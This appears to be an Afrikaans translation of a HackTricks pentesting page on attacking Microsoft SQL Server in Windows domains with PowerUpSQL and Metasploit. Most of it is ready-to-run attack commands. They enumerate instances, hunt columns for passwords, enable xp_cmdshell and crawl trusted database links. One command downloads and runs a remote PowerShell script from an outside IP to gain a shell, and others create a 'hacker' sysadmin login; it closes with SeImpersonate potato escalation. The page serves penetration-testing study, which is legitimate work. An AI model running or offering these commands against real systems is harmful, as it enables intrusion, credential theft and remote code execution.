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Die powershell-module PowerUpSQL is baie nuttig in hierdie geval.
Import-Module .\PowerupSQL.psd1
Enumereer van die netwerk sonder domein-sessie
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#If you don't have a AD account, you can try to find MSSQL scanning via UDP#First, you will need a list of hosts to scanGet-Content c:\temp\computers.txt |Get-SQLInstanceScanUDP –Verbose –Threads 10#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them#The discovered MSSQL servers must be on the file: C:\temp\instances.txtGet-SQLInstanceFile-FilePath C:\temp\instances.txt |Get-SQLConnectionTest-Verbose -Username test -Password test
Enumerering van binne die domein
# Get local MSSQL instance (if any)Get-SQLInstanceLocalGet-SQLInstanceLocal|Get-SQLServerInfo#Get info about valid MSQL instances running in domain#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)Get-SQLInstanceDomain|Get-SQLServerinfo-Verbose#Test connections with each oneGet-SQLInstanceDomain|Get-SQLConnectionTestThreaded-verbose#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)Get-SQLInstanceDomain|Get-SQLServerInfo-Verbose# Get DBs, test connections and get info in onelinerGet-SQLInstanceDomain|Get-SQLConnectionTest|? { $_.Status-eq"Accessible" } |Get-SQLServerInfo
MSSQL Basiese Misbruik
Toegang tot DB
#Perform a SQL queryGet-SQLQuery-Instance "sql.domain.io,1433"-Query "select @@servername"#Dump an instance (a lotof CVSs generated in current dir)Invoke-SQLDumpInfo-Verbose -Instance "dcorp-mssql"# Search keywords in columns trying to access the MSSQL DBs## This won't use trusted SQL linksGet-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
MSSQL RCE
Dit mag ook moontlik wees om bevele uit te voer binne die MSSQL-gashuis
Invoke-SQLOSCmd-Instance "srv.sub.domain.local,1433"-Command "whoami"-RawResults# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
As 'n MSSQL-instantie vertrou word (databasiskakel) deur 'n ander MSSQL-instantie. As die gebruiker voorregte het oor die vertroue databasis, sal hy in staat wees om die vertrouensverhouding te gebruik om ook navrae in die ander instantie uit te voer. Hierdie vertrouensverhoudings kan geketting word en op 'n stadium mag die gebruiker 'n sleg gekonfigureerde databasis vind waar hy bevele kan uitvoer.
Die skakels tussen databasisse werk selfs oor bosvertrouens heen.
Powershell Misbruik
#Look for MSSQL links of an accessible instanceGet-SQLServerLink-Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)Get-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Verbose#If you are sysadmin in some trusted link you can enable xp_cmdshell with:Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery fieldGet-SQLServerLinkCrawl-Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"#Obtain a shellGet-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
#Check for possible vulnerabilities on an instance where you have accessInvoke-SQLAudit-Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"#Try to escalate privileges on an instanceInvoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"#Manual trusted link queeryGet-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check itGet-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it workedGet-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
Metasploit
Jy kan maklik vir vertroude skakels kyk met Metasploit.
#Set username, password, windows auth (if using AD), IP...msf>useexploit/windows/mssql/mssql_linkcrawler[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Notice dat metasploit sal probeer om slegs die openquery()-funksie in MSSQL te misbruik (so, as jy nie 'n bevel met openquery() kan uitvoer nie, sal jy die EXECUTE-metode handmatig moet probeer om bevele uit te voer, sien meer hieronder.)
Handmatig - Openquery()
Vanaf Linux kan jy 'n MSSQL-konsoleskild verkry met sqsh en mssqlclient.py.
Vanaf Windows kan jy ook die skakels vind en bevele handmatig uitvoer met 'n MSSQL-klient soosHeidiSQL
Indien jy nie kan optree soos exec xp_cmdshell vanaf openquery() nie, probeer met die EXECUTE metode.
Handleiding - EXECUTE
Jy kan ook vertroue skakels misbruik deur EXECUTE te gebruik:
#Create user and give admin privilegesEXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
Plaaslike Voorregskaping
Die MSSQL plaaslike gebruiker het gewoonlik 'n spesiale tipe voorreg genaamd SeImpersonatePrivilege. Dit laat die rekening toe om "‘n kliënt na outentifisering te impersoneer".
'n Strategie wat baie skrywers mee vore gekom het, is om 'n STELSELDIENS te dwing om by 'n bedrieglike of man-in-die-middel-diens te outentiseer wat die aanvaller skep. Hierdie bedrieglike diens kan dan die STELSELDIENS impersoneer terwyl dit probeer outentiseer.
SweetPotato het 'n versameling van hierdie verskeie tegnieke wat uitgevoer kan word via Beacon se execute-assembly bevel.
Werk jy in 'n cybersekuriteitsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die INSKRYWINGSPLANNE!